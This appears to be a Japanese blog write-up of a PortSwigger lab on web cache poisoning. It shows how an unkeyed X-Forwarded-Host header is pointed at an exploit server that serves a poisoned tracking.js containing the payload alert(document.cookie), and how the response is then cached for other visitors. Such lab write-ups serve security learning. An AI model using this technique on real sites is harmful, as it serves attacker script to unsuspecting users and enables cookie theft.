Shikata Ga Nai

Private? There is no such things.

Web cache poisoning with an unkeyed headerをやってみた

Hello there, ('ω')ノ

 

キーのないヘッダーを使用したWebキャッシュポイズニングを。

くれぐれもブラウザ内に保存されているローカルキャッシュと混同しないように。

 

f:id:ThisIsOne:20210121150036p:plain

 

レスポンスがキャッシュサーバからのものかどうかは。

ヘッダのhit、またはmissで判断できて。

また、保存期間から。

リクエストごとにキャッシュされた応答を使用できるかどうかを判断して。

キャッシュキーが一致する場合は。

キャッシュサーバは、保存された応答で応答できると判断して。

 

キャッシュなしの転送ルートは以下のとおりで。 

 User ⇨ Cache Server ⇨ Application Server

             ⇩

 User ⇦ Cache Server ⇦ Application Server

 

そのときのレスポンスは、以下のとおりで。

 Cache-Control: max-age=30

 Age: 0

 X-Cache: miss

 

f:id:ThisIsOne:20210121122929p:plain

 

キャッシュされると、転送ルートは以下のように変化して。

 User ⇨ Cache Server

      ⇩

 User ⇦ Cache Server

 

そのときのレスポンスは、以下のとおりで。

Ageが30に達すると0にリセットされて。

 Cache-Control: max-age=30

 Age: 2

 X-Cache: hit

 

f:id:ThisIsOne:20210121123013p:plain

 

さて下記が、キャッシュキーでキー入力と呼ばれるもので。

 GET / HTTP/1.1
 Host: ac021ff51e2bdd5080340d5f003500cb.web-security-academy.net

 

他は、すべてキーなし入力で、キャッシュサーバーでは無視されるので。

Webキャッシュポイズニング攻撃を考えるには。

アプリケーションサーバで考慮されるキーなし入力を見つけることで。

 

f:id:ThisIsOne:20210121124301p:plain

 

キーなし入力というのは、以下のようなヘッダで。

 Accept:

 Accept-Language:

 Referer:

 

f:id:ThisIsOne:20210121124440p:plain

 

Sendしてみると、下記のレスポンスからサーバからの応答を確認できて。 

 Cache-Control: max-age=30
 Age: 0
 X-Cache: miss

 

f:id:ThisIsOne:20210121132802p:plain

 

もう一度、Sendすると今度は、キャッシュサーバからのようで。

 Cache-Control: max-age=30
 Age: 9
 X-Cache: hit

 

f:id:ThisIsOne:20210121133102p:plain

 

 ユーザーは、1分に1回ホームページにアクセスするとのことで。

キャッシュバスターを追加して、アクセスされないようにしておいて。

 ?cachebuster=12345

 

Sendすると新たにサーバからレスポンスがかえってきているのを確認して。

 Cache-Control: max-age=30
 Age: 0
 X-Cache: miss

 

f:id:ThisIsOne:20210121132737p:plain

 

キーなしヘッダを追加して、レスポンスを確認すると反映されるのを確認して。

 X-Forwarded-Host: example.com

 

f:id:ThisIsOne:20210121144202p:plain

 

ちなみに追加前のレスポンスは、以下のとおりで。

 

f:id:ThisIsOne:20210121144120p:plain

 

リクエストで得られたアドレスをファイルに。

 /resources/js/tracking.js

 

ボディにはペイロードを。

 alert(document.cookie)

 

f:id:ThisIsOne:20210121144333p:plain

 

エクスプロイトサーバのURLをコピーして。

 https://ac531f391e2a220e805e00b801be004d.web-security-academy.net/

 

f:id:ThisIsOne:20210121144407p:plain

 

下記をリクエストサーバのURLに書き換えて。

現時点ではキャッシュバスタを知っている人間でないとレスポンスを得られないので。

 X-Forwarded-Host: ac531f391e2a220e805e00b801be004d.web-security-academy.net

 

f:id:ThisIsOne:20210121144453p:plain

 

キャッシュバスタを削除して、Sendしてキャッシュに保存させて。

 

f:id:ThisIsOne:20210121144550p:plain

 

 ホームページにもどって、リロードするとクリアできた。

 

f:id:ThisIsOne:20210121151649p:plain

 

Best regards, (^^ゞ